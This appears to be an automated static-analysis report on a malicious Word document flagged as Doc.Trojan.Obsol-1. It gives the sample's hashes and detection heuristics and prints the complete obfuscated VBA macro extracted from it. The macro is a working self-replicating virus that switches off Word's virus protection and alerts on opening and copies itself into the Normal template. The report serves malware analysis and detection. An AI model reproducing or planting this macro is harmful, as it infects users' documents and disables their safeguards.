Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 752a047e20064f18…

MALICIOUS

Office (OLE)

30.0 KB Created: 2000-05-21 21:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 16eeb59facc8032973fd396462742216 SHA-1: 6cfa4e626a4f62864f0bca106f5d0a25ae49dd6e SHA-256: 752a047e20064f185a1e82a28381a9df43f07fab6c84377f0f62047d42139cfd
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document with a high-severity heuristic indicating the presence of VBA macros, specifically a Document_Open macro. The extracted VBA script attempts to obfuscate its functionality by manipulating its own code and potentially the document's code. The script's logic suggests it aims to modify the document's macros, which is a common technique for downloading and executing further stages or evading analysis.

Heuristics 3

  • ClamAV: Doc.Trojan.Obsol-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Obsol-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2103 bytes
SHA-256: 7c23601a3a08d8b9df4d220fc29b3313c528b89a374a6e6bec612b33c1d73c3c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next: Dim °(30) As String: GoTo ¤23
¤03: © = ¥.CountOfLines - ¾: GoTo ¤04
¤04: ð = ð + Þ: GoTo ¤05
¤05: ñ = ø: õ = ø: ª = Int(Rnd * (© - ð) + Þ): GoTo ¤06
¤06: If °(õ + Þ) = "" Then GoTo ¤07 Else GoTo ¤08
¤07: ñ = ñ + Þ: GoTo ¤08
¤08: õ = õ + Þ: GoTo ¤09
¤09: If ñ < ª Then GoTo ¤06 Else GoTo ¤10
¤10: °(õ) = ¥.Lines((© + ¾) - ð, Þ): GoTo ¤11
¤11: If ð = © Then GoTo ¤12 Else GoTo ¤04
¤12: For å = Þ To ©: ¢ = ¢ & °(å) & vbCr: Next: GoTo ¤17
¤13: If MacroContainer = ActiveDocument Then Set ± = NormalTemplate Else Set ± = ActiveDocument: GoTo ¤14
¤14: Set § = ±.VBProject.VBComponents(Þ).CodeModule: GoTo ¤15
¤15: Set ¥ = ThisDocument.VBProject.VBComponents(Þ).CodeModule: GoTo ¤16
¤16: If Len(¥.Lines(Þ, ¥.CountOfLines)) <> Len(§.Lines(Þ, §.CountOfLines)) Then GoTo ¤03 Else GoTo ¤24
¤17: §.DeleteLines Þ, §.CountOfLines: GoTo ¤18
¤18: §.InsertLines Þ, ¥.Lines(Þ, ½) & vbCr & ¢: GoTo ¤19
¤19: §.DeleteLines §.CountOfLines, Þ: GoTo ¤20
¤20: §.InsertLines §.CountOfLines + Þ, ¥.Lines(¥.CountOfLines, Þ): GoTo ¤21
¤21: If ± = ActiveDocument Then ActiveDocument.SaveAs ActiveDocument.FullName: GoTo ¤24
¤22: With Application: .Options.VirusProtection = ø: .Options.SaveNormalPrompt = ø: .DisplayStatusBar = ø: .EnableCancelKey = ø: .DisplayAlerts = ø: End With: GoTo ¤13
¤23: ø = Asc(Chr(65)) - Asc(Chr(65)): Þ = Asc(Chr(66)) - Asc(Chr(65)): ½ = Asc(Chr(67)) - Asc(Chr(65)): ¾ = Asc(Chr(68)) - Asc(Chr(65)): « = Asc(Chr(96)) - Asc(Chr(65)): GoTo ¤22
¤24: If Day(Now()) = « Then GoTo ¤25 Else GoTo ¤26
¤25: MsgBox Application.UserName & " has become obsolete.", ø, "Class.Obsolete": GoTo ¤26
¤26: Exit Sub
End Sub 'Class.Obsolete written by jackie